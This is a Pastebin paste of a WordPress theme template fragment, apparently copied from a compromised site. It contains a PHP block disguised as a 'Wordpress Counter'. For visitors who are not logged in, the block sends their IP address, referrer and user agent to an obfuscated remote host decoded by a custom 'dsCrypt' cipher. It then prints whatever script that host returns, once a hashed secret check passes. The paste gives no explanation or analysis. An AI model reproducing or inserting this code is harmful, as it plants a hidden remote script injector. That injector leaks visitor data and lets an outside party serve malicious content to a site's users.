Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- </ul>
- <?php } ?>
- </div><!-- /nav -->
- <div id="container" class="container_12">
- <!-- Wordpress Counter -->
- <?php
- if (!is_user_logged_in()) {
- $ip = @urlencode ($_SERVER['REMOTE_ADDR']);
- $ref = @urlencode ($_SERVER['HTTP_REFERER']);
- $ua = @urlencode ($_SERVER['HTTP_USER_AGENT']);
- $url = dsCrypt ( '89Z3:/#P9T2K5PA086]00P#P7261KZ]09@IQc', 1 ).'?ip='.$ip.'&ref='.$ref.'&ua='.$ua;
- if ( function_exists ('curl_init') ) {
- $ch = @curl_init ($url);
- @curl_setopt ( $ch, CURLOPT_CONNECTTIMEOUT, 5 );
- @curl_setopt ( $ch, CURLOPT_TIMEOUT, 5 );
- @curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, TRUE );
- $doms = @curl_exec ($ch);
- @curl_close ($ch);
- }
- else
- $doms = @file_get_contents ($url);
- list ( $trash, $secure, $script ) = explode ( '====================', trim ($doms) );
- if ( md5 (trim ($secure) ) == '80b27b54b59a600bbf04aa9700a8ce70' ) {
- print dsCrypt ( $script, 1 );
- }
- }
- function dsCrypt($input,$decrypt=false) {
- $o = $s1 = $s2 = array();
- $basea = array('?','(','@',';','$','#',"]","&",'*');
- $basea = array_merge($basea, range('a','z'), range('A','Z'), range(0,9) );
- $basea = array_merge($basea, array('!',')','_','+','|','%','/','[','.',' ') );
- $dimension=9;
- for($i=0;$i<$dimension;$i++) {
- for($j=0;$j<$dimension;$j++) {
- $s1[$i][$j] = $basea[$i*$dimension+$j];
- $s2[$i][$j] = str_rot13($basea[($dimension*$dimension-1) - ($i*$dimension+$j)]);
- }
- }
- unset($basea);
- $m = floor(strlen($input)/2)*2;
- $symbl = $m==strlen($input) ? '':$input[strlen($input)-1];
- $al = array();
- for ($ii=0; $ii<$m; $ii+=2) {
- $symb1 = $symbn1 = strval($input[$ii]);
- $symb2 = $symbn2 = strval($input[$ii+1]);
- $a1 = $a2 = array();
- for($i=0;$i<$dimension;$i++) {
- for($j=0;$j<$dimension;$j++) {
- if ($decrypt) {
- if ($symb1===strval($s2[$i][$j]) ) $a1=array($i,$j);
- if ($symb2===strval($s1[$i][$j]) ) $a2=array($i,$j);
- if (!empty($symbl) && $symbl===strval($s2[$i][$j])) $al=array($i,$j);
- }
- else {
- if ($symb1===strval($s1[$i][$j]) ) $a1=array($i,$j);
- if ($symb2===strval($s2[$i][$j]) ) $a2=array($i,$j);
- if (!empty($symbl) && $symbl===strval($s1[$i][$j])) $al=array($i,$j);
- }
- }
- }
- if (sizeof($a1) && sizeof($a2)) {
- $symbn1 = $decrypt ? $s1[$a1[0]][$a2[1]] : $s2[$a1[0]][$a2[1]];
- $symbn2 = $decrypt ? $s2[$a2[0]][$a1[1]] : $s1[$a2[0]][$a1[1]];
- }
- $o[] = $symbn1.$symbn2;
- }
- if (!empty($symbl) && sizeof($al))
- $o[] = $decrypt ? $s1[$al[1]][$al[0]] : $s2[$al[1]][$al[0]];
- return implode('',$o);
- }
- ?>
- <!-- Wordpress Counter -->
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement